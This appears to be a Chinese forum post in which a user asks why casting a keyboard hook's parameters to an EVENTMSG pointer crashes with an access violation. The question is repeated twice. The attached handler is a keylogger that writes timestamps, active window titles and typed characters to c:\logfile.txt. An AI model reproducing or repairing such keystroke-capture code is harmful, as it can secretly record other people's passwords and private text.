EVENTMSG *pEvt=(EVENTMSG *)lParam;
int vKey=LOBYTE(pEvt-> paramL);//取得虚拟键值
我调试了一下自己的程序在运行到上面这句时出现错误如下:
fengle.exe 中的 0x00413df6 处未处理的异常: 0xC0000005: 读取位置 0x00030001 时发生访问冲突
我发现pEvt->paramH 和pEvt->paramL和pEvt->message中都没有值但是我程序里还有一句代码是
::GetKeyNameText(lParam, szKey, 80);
试调结果szKey中的值是正确的,那应该说明lParam没有问题为什么pEvt没有得到正确的值啊?请各位高手帮忙!!!
int vKey=LOBYTE(pEvt-> paramL);//取得虚拟键值
我调试了一下自己的程序在运行到上面这句时出现错误如下:
fengle.exe 中的 0x00413df6 处未处理的异常: 0xC0000005: 读取位置 0x00030001 时发生访问冲突
我发现pEvt->paramH 和pEvt->paramL和pEvt->message中都没有值但是我程序里还有一句代码是
::GetKeyNameText(lParam, szKey, 80);
试调结果szKey中的值是正确的,那应该说明lParam没有问题为什么pEvt没有得到正确的值啊?请各位高手帮忙!!!
{
// 此时参数wParam为用户按键的虚拟键码,
// lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息
HWND hFocus;//保存当前活动窗口句柄
wchar_t szTitle[256];
FILE *stream=fopen("c:\\logfile.txt","a+t");
//char szTitle[256];//当前窗口名称
hFocus=::GetActiveWindow();//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
{
::GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
}
CTime pt;
CString time1,time2;
pt=CTime::GetCurrentTime();
time1=pt.Format(_T("%A, %B %d, %Y "));
time2=pt.Format(_T("%H : %M : %S "));
fprintf(stream,"%C%S%C%C%S",10,time1+time2,32,32,szTitle);
fprintf(stream,"%C%C",32,32);
fprintf(stream,"\r\n",32);
EVENTMSG *pEvt=(EVENTMSG *)wParam;//取得虚拟键值
int vKey=LOBYTE(pEvt->paramL);
char ch;
wchar_t szKey[80];
::GetKeyNameText(lParam, szKey, 80);
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift)
fprintf(stream,"%c",vKey);
if (vKey >=65 && vKey<=90)
{// A-Z a-z
if (!bCapital)
if (bShift)
ch=vKey;
else
ch=vKey+32;
else
if (bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}
//fprintf(stream,"%S",szKey);
fclose( stream );
SYSTEMTIME tm;
GetLocalTime(&tm);
CString time;
time.Format(_T(" %d:%02.2d"), tm.wHour, tm.wMinute); CString strItem;
strItem.Format(time+_T(" 用户按键:%s \r\n"), szKey);
// 添加到编辑框中
CString strEdit;
GetDlgItem(IDC_MSG)->GetWindowText(strEdit);
GetDlgItem(IDC_MSG)->SetWindowText(strItem + strEdit);
::MessageBeep(MB_OK);//This function plays a waveform sound.
return 0;
}